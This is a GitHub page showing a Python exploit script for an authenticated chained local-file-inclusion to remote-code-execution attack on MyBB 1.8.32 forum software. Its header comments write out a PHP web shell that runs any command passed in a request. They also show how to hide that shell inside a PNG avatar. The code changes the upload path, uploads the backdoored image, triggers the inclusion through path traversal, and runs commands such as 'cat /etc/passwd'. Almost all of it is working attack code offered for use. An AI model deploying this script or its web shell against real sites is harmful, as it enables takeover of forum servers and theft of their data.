-
Notifications
You must be signed in to change notification settings - Fork 7
/
exp.py
209 lines (171 loc) · 7.97 KB
/
exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
# Exploit Title: MyBB 1.8.32 - Chained LFI Remote Code Execution (RCE) (Authenticated)
# Date: 2023-01-19
# Exploit Author: lUc1f3r11 (https://github.com/FDlucifer)
# Vendor Homepage: https://mybb.com/
# Software Link: https://github.com/mybb/mybb/releases/tag/mybb_1832
# Version: MyBB 1.8.32
# Tested on: Linux
# CVE : N/A
# Detailed Analysis : https://fdlucifer.github.io/2023/01/17/mybb1-8-32-LFI-RCE/
# (1). An RCE can be obtained on MyBB's Admin CP in Configuration -> Profile Options -> Avatar Upload Path. to change Avatar Upload Path to /inc to bypass blacklist upload dir.
# (2). after doing that, then we are able to chain in "admin avatar upload" page: http://www.mybb1832.cn/admin/index.php?module=user-users&action=edit&uid=1#tab_avatar, and LFI in "Edit Language Variables" page: http://www.mybb1832.cn/admin/index.php?module=config-languages&action=edit&lang=english.
# (3). This chained bugs can lead to Authenticated RCE.
# (note). The user must have rights to add or update settings and update Avatar. This is tested on MyBB 1.8.32.
#
#
# Exp Usage:
# 1.first choose a png file that size less than 1kb
# 2.then merge the png file with a php simple backdoor file using the following commands
# mac@xxx-2 php-backdoor % cat simple-backdoor.php
# <?php
# if(isset($_REQUEST['cmd'])){
# echo "<getshell success>";
# $cmd = ($_REQUEST['cmd']);
# system($cmd);
# echo "<getshell success>";
# phpinfo();
# }
# ?>
# mac@xxx-2 php-backdoor % ls
# simple-backdoor.php test.png
# mac@xxx-2 php-backdoor % cat simple-backdoor.php >> test.png
# mac@xxx-2 php-backdoor % file test.png
# test.png: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
# 3.finnally run the following commands to run the exp script to get RCE output! enjoy the shell...
# python3 exp.py --host http://www.xxx.cn --username admin --password xxx --email [email protected] --file avatar_1.png --cmd "cat /etc/passwd"
import requests
import argparse
from bs4 import BeautifulSoup
from requests_toolbelt import MultipartEncoder
import re
proxies = {"http":"http://127.0.0.1:8080"}
r_clients = requests.Session()
def exploit(username, password, email, host, file, cmd):
# Adding ./inc upload path settings to bypass avatar upload path blacklists
data = {
"username" : username,
"password" : password,
"do" : "login"
}
login_txt = r_clients.post(host + "/admin/index.php", data=data).text
if "The username and password combination you entered is invalid" in login_txt:
print("[-] Login failure. Incorrect credentials supplied")
exit(0)
print("[+] Login successful!")
if "Access Denied" in login_txt:
print("[-] Supplied user doesn't have the rights to add a setting")
exit(0)
print("[*] Adding ./inc upload path settings...")
soup = BeautifulSoup(login_txt, "lxml")
my_post_key = soup.find_all("input", {"name" : "my_post_key"})[0]['value']
print("[+] my_post_key: ", my_post_key)
print("[+] cookies: ", r_clients.cookies.get_dict())
cookies = r_clients.cookies.get_dict()
data = {
"my_post_key" : my_post_key,
"gid" : 10,
"upsetting[sigmycode]" : 1,
"upsetting[sigcountmycode]" : 1,
"upsetting[sigsmilies]" : 1,
"upsetting[sightml]" : 0,
"upsetting[sigimgcode]" : 1,
"upsetting[maxsigimages]" : 2,
"upsetting[siglength]" : 255,
"upsetting[hidesignatures]" : "",
"upsetting[hidewebsite]" : "",
"upsetting[useravatar]" : "./inc",
"upsetting[useravatardims]" : "100x100",
"upsetting[useravatarrating]" : 0,
"upsetting[maxavatardims]" : "100x100",
"upsetting[avatarsize]" : 25,
"upsetting[avatarresizing]" : "auto",
"upsetting[avataruploadpath]" : "./inc",
"upsetting[allowremoteavatars]" : 1,
"upsetting[customtitlemaxlength]" : 40,
"upsetting[allowaway]" : 1,
"upsetting[allowbuddyonly]" : 0
}
modify_settings_txt = r_clients.post(host + "/admin/index.php?module=config-settings&action=change",data=data,allow_redirects=False, cookies=cookies)
if modify_settings_txt.status_code != 302:
soup = BeautifulSoup(modify_settings_txt.text, "lxml")
error_txt = soup.find_all("div", {"class" : "error"})[0].text
print("[-] modify upload path failed. Reason: '{}'".format(error_txt))
exit(0)
print("[+] ./inc upload path settings added!")
# upload malicious avatar in admin panel
with open("test.png", "rb") as f:
image_binary = f.read()
print("[+] read image successful! ")
print("[+] image contents: ", image_binary)
filename = "test.png"
data1 = {
'my_post_key': my_post_key,
'username': username,
'email': email,
'postnum': "0",
'threadnum': "0",
'avatar_upload': (filename, open(filename, 'rb'), 'image/png')
}
m = MultipartEncoder(data1)
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Content-Type": m.content_type,
"Origin": "null",
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
upload_url = host + "/admin/index.php?module=user-users&action=edit&uid=1"
upload = r_clients.post(upload_url, data=m, allow_redirects=False, headers=headers, cookies=cookies)
if upload.status_code != 302:
soup = BeautifulSoup(upload.text, "lxml")
error_txt = soup.find_all("div", {"class" : "error"})[0].text
print("[-] upload avatar didn't work. Reason: '{}'".format(error_txt))
exit(0)
print("[+] upload malicious avatar png success!")
# commands exec and get the output, we are done finally :)
data2 = {
'my_post_key': my_post_key,
'file': file,
'lang': "english",
'editwith': "..",
'inadmin': 0
}
exec_url = host + "/admin/index.php?module=config-languages&action=edit&cmd=" + cmd
commands_exec = r_clients.post(exec_url, data=data2, cookies=cookies)
if commands_exec.status_code != 200:
soup = BeautifulSoup(commands_exec.text, "lxml")
error_txt = soup.find_all("div", {"class" : "error"})[0].text
print("[-] command exec didn't work. Reason: '{}'".format(error_txt))
exit(0)
cmd_output = re.findall(r'<getshell success>(.*?)<getshell success>', commands_exec.text, re.S)
print("[+] exec status: ", commands_exec.status_code)
print("[+] command exec success:\n\n", cmd_output[0].replace("\n", "\n"))
parser = argparse.ArgumentParser()
parser.add_argument('--username', required=True, help="MyBB Admin CP username")
parser.add_argument('--password', required=True, help="MyBB Admin CP password")
parser.add_argument('--email', required=True, help="MyBB Admin CP admin's email (easy to find in admin users panal)")
parser.add_argument('--file', required=True, help="the image file name in the server that we uploaded before. (easy to find in admin users panal)")
parser.add_argument('--host', required=True, help="e.g. http://target.website.local, http://10.10.10.10, http://192.168.23.101:8000")
parser.add_argument('--cmd', required=False, help="Command to run")
args = parser.parse_args()
username = args.username
password = args.password
email = args.email
file = args.file
host = args.host
cmd = "id" if args.cmd == None else args.cmd
print("""_______________________________________\n
/ MyBB 1.8.32 - Chained LFI Remote Code \ \n
\ Execution (RCE) (Authenticated) / \n
--------------------------------------- \n
\ ^__^ \n
\ (oo)\_______ \n
(__)\ )\/\ \n
||----w | \n
|| || \n
Author: lUc1f3r11
Github: https://github.com/FDlucifer""")
exploit(username, password, email, host, file, cmd)